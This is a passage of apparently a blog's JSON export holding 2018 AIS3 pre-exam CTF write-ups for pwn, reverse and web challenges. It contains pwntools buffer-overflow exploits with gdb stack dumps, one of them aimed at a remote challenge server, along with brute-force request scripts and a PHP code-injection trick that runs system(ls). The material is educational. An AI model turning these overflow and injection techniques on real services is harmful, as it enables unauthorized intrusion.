RBP\nand RSP address which is .. RBP: 0x7fffffffdcd0 --> 0x4008a0 (<__libc_csu_init>: push r15)RSP: 0x7fffffffd990 --> 0x7ffff7a1dff8 --> 0x6c5f755f72647800 ('')\nHit continue to enter some dummy data in order to locat\nvariable’s address in stack. (I put a bouch of\n'A'.) Locate 0x....dbd0 in stack.\ngdb-preda$ stack 120...0792| 0x7fffffffdca8 --> 0x00800| 0x7fffffffdcb0 ('A' <repeats 32 times>)0808| 0x7fffffffdcb8 ('A' <repeats 24 times>)0816| 0x7fffffffdcc0 ('A' <repeats 16 times>)0824| 0x7fffffffdcc8 ("AAAAAAAA")0832| 0x7fffffffdcd0 --> 0x400800 (<reply+106>: leave)0840| 0x7fffffffdcd8 --> 0x7ffff7a2d830 (<__libc_start_main+240>: mov edi,eax)0848| 0x7fffffffdce0 --> 0x0 ...\nSo the variable is at 0x....dcb0, calculate offset with\nRBP(0x....dcd0) is 32 Bytes. And the RTN is\nfront of RBP which is $rbp - 0x8, so we need\nto cover 32 + 8 bytes from first variable.\nFind the function reply its address is…\ngdb-peda$ disass replyDump of assembler code for function reply: 0x0000000000400796 <+0>: push rbp...\nThat every thing. cover dummy data with 40 bytes and input\nreply function’s address 0x....400796 Wrote a\nsmall python… from pwn import *p = process('./mail')#p = remote('104.199.235.135', 2111)p.sendline('A' * (32 + 8) + '\\x96\\x07\\x40\\x00\\x00\\x00\\x00\\x00')print(p.recv())p.interactive()\n\ndarling\nUse array index to jump to variable permission_code and\nchange to 6666. and cover function read() it’s\nreturn address to function debug(). gdb-peda$ disass debugDump of assembler code for function debug: 0x00000000004007d6 <+0>: push rbp 0x00000000004007d7 <+1>: mov rbp,rsp 0x00000000004007da <+4>: mov edi,0x400d88 0x00000000004007df <+9>: call 0x400660 <system@plt> 0x00000000004007e4 <+14>: nop 0x00000000004007e5 <+15>: pop rbp 0x00000000004007e6 <+16>: ret End of assembler dump.gdb-peda$ \nUse gdb make a break point at\n0x0000000000400c8f <+1192>: call 0x400680 <read@plt>\nskip nto read function and check it’s return address to\nfound stack address.\ngdb-peda$ stack 300000| 0x7fffffffdb68 --> 0x400c94 (<main+1197>: mov eax,DWORD PTR [rbp-0x14c])0008| 0x7fffffffdb70 --> 0x0 0016| 0x7fffffffdb78 --> 0x800000001 0024| 0x7fffffffdb80 --> 0x500000000 0032| 0x7fffffffdb88 --> 0x1a0a 0040| 0x7fffffffdb90 --> 0x2 0048| 0x7fffffffdb98 --> 0x10 0056| 0x7fffffffdba0 --> 0x10 0064| 0x7fffffffdba8 --> 0x2 0072| 0x7fffffffdbb0 --> 0xf 0080| 0x7fffffffdbb8 --> 0x38 ('8')0088| 0x7fffffffdbc0 --> 0x186 0096| 0x7fffffffdbc8 --> 0x29a 0104| 0x7fffffffdbd0 --> 0x22c 0112| 0x7fffffffdbd8 --> 0xd6 0120| 0x7fffffffdbe0 ("Strelitzia")0128| 0x7fffffffdbe8 --> 0x6169 ('ia')0136| 0x7fffffffdbf0 ("Delphinium")0144| 0x7fffffffdbf8 --> 0x6d75 ('um')0152| 0x7fffffffdc00 ("Argentea")0160| 0x7fffffffdc08 --> 0x0 0168| 0x7fffffffdc10 --> 0x617473696e6547 ('Genista')0176| 0x7fffffffdc18 --> 0x0 0184| 0x7fffffffdc20 ("Chlorophytum")0192| 0x7fffffffdc28 --> 0x6d757479 ('ytum')--More--(25/30) \nI select first element which is Strelitzia which stack\naddress is 0x....dbe0 to offset to return address whichs\n0x....db8, and the offset range is 120 byte. The char array\nstore Strelitzia is a 16 bytes long element. so each index\nI decrease would cause memory address move backward 16 byte. At least I\nhave to backward 16 * 8(128 byte) to cover return address. But need more\n8 dummy character to fit into extra backward.\nfrom pwn import *#p = process('./darling')p = remote('104.199.235.135', 2112)p.sendlineafter('Index: ', '-1')p.sendlineafter('Code: ', '6666')p.sendlineafter('Are you sure ? (yes:1 / no:0) ', '0')p.sendlineafter('Index: ', '0')p.sendlineafter('Code: ', '2')p.sendlineafter('Are you sure ? (yes:1 / no:0) ', '0')p.sendlineafter('Index: ', '1')p.sendlineafter('Code: ', '16')p.sendlineafter('Are you sure ? (yes:1 / no:0) ', '1')p.sendlineafter('Which FRANXX do you wnat to use ? ', '-8')p.sendlineafter( 'New name for this FRANXX: ', 'A' * 8 + p64(0x00000000004007D6))p.interactive()\n","categories":["CTF","AIS3","2018"],"tags":["CTF","AIS3","pre exam"]},{"title":"reverse","url":"/2018/08/01/CTF/AIS3/2018/pre_exam/reverse/","content":"This is 2018 AIS3 prexam reverse writeups. \nfind\ncat find gets a ELF and dummy data merged together.\nstrings find >> [file name] Wrote a simpy filter to\nfilte AIS3{\nstring = []with open('find.strings', 'r') as f: line = f.readline() while(line != ''): if line.startswith('AIS3{'): string.append(line) line = f.readline()print(string)\n\nsecret\nUse IDA-Pro to crack program and export to\nc pseudo code. int __cdecl main(int argc, const char **argv, const char **envp){ int result; // eax@10 __int64 v4; // rsi@10 int v5; // [sp+4h] [bp-1Ch]@7 int i; // [sp+8h] [bp-18h]@3 int v7; // [sp+Ch] [bp-14h]@7 FILE *stream; // [sp+10h] [bp-10h]@1 __int64 v9; // [sp+18h] [bp-8h]@1 v9 = *MK_FP(__FS__, 40LL); stream = fopen("/tmp/secret", "w"); init(); puts("========== WELCOME TO MY MIND =========="); puts("Try to find out secret in my mind!!!"); while ( cnt != 85 ) { __isoc99_scanf("%d", &v5); v7 = rand() % 2018; if ( v7 != v5 ) { puts("Get out!!! You don't know me."); goto LABEL_10; } secret[cnt] ^= v5; puts("Nice try! Next one."); ++cnt; } for ( i = 0; i <= 84; ++i ) fputc((unsigned __int8)secret[i], stream); puts("You know the flag~~~");LABEL_10: result = 0; v4 = *MK_FP(__FS__, 40LL) ^ v9; return result;}\nThere is a rand() without srand(), so… Just\nrand many times and record it, and mod(%) with\n2018.\nfrom pwn import *rands = [1804289383,846930886,1681692777,1714636915,1957747793,424238335,719885386,1649760492,596516649,1189641421,1025202362,1350490027,783368690,1102520059,2044897763,1967513926,1365180540,1540383426,304089172,1303455736,35005211,521595368,294702567,1726956429,336465782,861021530,278722862,233665123,2145174067,468703135,1101513929,1801979802,1315634022,635723058,1369133069,1125898167,1059961393,2089018456,628175011,1656478042,1131176229,1653377373,859484421,1914544919,608413784,756898537,1734575198,1973594324,149798315,2038664370,1129566413,184803526,412776091,1424268980,1911759956,749241873,137806862,42999170,982906996,135497281,511702305,2084420925,1937477084,1827336327,572660336,1159126505,805750846,1632621729,1100661313,1433925857,1141616124,84353895,939819582,2001100545,1998898814,1548233367,610515434,1585990364,1374344043,760313750,1477171087,356426808,945117276,1889947178,1780695788]p = process('./secret')for each in rands: #if each == 0x6b7b4567: p.sendline(str(each % 2018))p.interactive()\nLast thing is, go to /tmp/secret find my flag, just like\nL12 and L30 told me.\n\ncrackme\nexe filename extension, reverse with\nOllyDbg is so ugly. googled a writeup \n> file ais3.exe> ais3.exe: PE32 executable (GUI) ..Too long, PDF would cut out.. ... Intel 80386 Mono/.Net assembly, for MS Windows\nChange to use dnSpy to crack it.\nthis.secret = new int {234,226,248,152,208,154,223,244,226,158,244,238,234,216,210,244,223,228,244,232,249,159,200,192,244,230,206,138,214};\nfor (int j = 0; j <= num4; j++){ if( Operators.ConditionalCompareObjectNotEqual( NewLateBinding.LateIndexGet( this.secret, new object[] { j }, null ), Convert.ToInt32(text[j]) ^ 171, false ) ) { flag = false; }}if ( Conversions.ToBoolean( Operators.AndObject( flag, Operators.CompareObjectEqual( text.Length, NewLateBinding.LateGet( this.secret, null, "Length", new object[0], null, null, null), false ) ) )){ Interaction.MsgBox("Good job!!!", MsgBoxStyle.OkOnly, null); return;}Interaction.MsgBox("Try hard!!!", MsgBoxStyle.OkOnly, null);\nJust crack with xor 171. secret = [234,226,248,152,208,154,223,244,226,158,244,238,234,216,210,244,223,228,244,232,249,159,200,192,244,230,206,138,214]for each in secret: print(chr(each ^ 171), end='')\n","categories":["CTF","AIS3","2018"],"tags":["CTF","AIS3","pre exam"]},{"title":"web","url":"/2018/08/01/CTF/AIS3/2018/pre_exam/web/","content":"This is 2018 AIS3 prexam web writeups. \nwarmup\nCheck header found Paritial-Flag, Wrote a simple python\ncrawler keeping get this praitial-flag until get last char\n}\nimport urllib.requesturl = 'http://104.199.235.135:31331/index.php?p='i = 0 while True: response = urllib.request.urlopen('%s%d' % (url, i)) letter = response.getheader('Partial-Flag') letter = ' ' if letter == '' else letter print(letter, end='') if letter == '}': break i += 1\n\nhidden\nFind a hidden page _hidden_flag_.php other url from\nrobots.txt. Test with a form POST, found Flag\nshows AIS3{NOT_A_VALID_FLAG} Wrote a simple python crawler\nkeep sending POST to form with increase value until get right flag.\nimport requests, reurl = 'http://104.199.235.135:31332/_hidden_flag_.php'values = [ (0,'0',''), (1,'3241b876891b9ea67db897e940db6ea9e7e351447546b8da82bbf3693dfe9ebb','')]print(values[1][0], values[1][1])for each in range(1, 100000): r = requests.post(url, {'c': values[each][0], 's': values[each][1] }) c = int(re.compile(r'\\"c\\" value=\\"[0-9]*\\"').search(r.text) c = c.group(0)[11:-1]) s = str(re.compile(r'\\"s\\" value=\\".*\\"').search(r.text).group(0)[11:-1]) header = r.headers['Flag'] values.append(tuple((c, s, header))) print(c, s, header) if header != 'AIS3{NOT_A_VALID_FLAG}': break\n\nsushi\nA php check input value can not contain ' and\n\" at 0 or above position. and die function can\nnot be avoid. Input with \". [php statement] .\" to get value\nto send from die to browser.\nUse system(ls) to get folder content. Get a file name is\nflag_name_1s_t00_l0ng_QAQQQQQQ and concat with url. get\nit.\n","categories":["CTF","AIS3","2018"],"tags":["CTF","AIS3","pre exam"]}]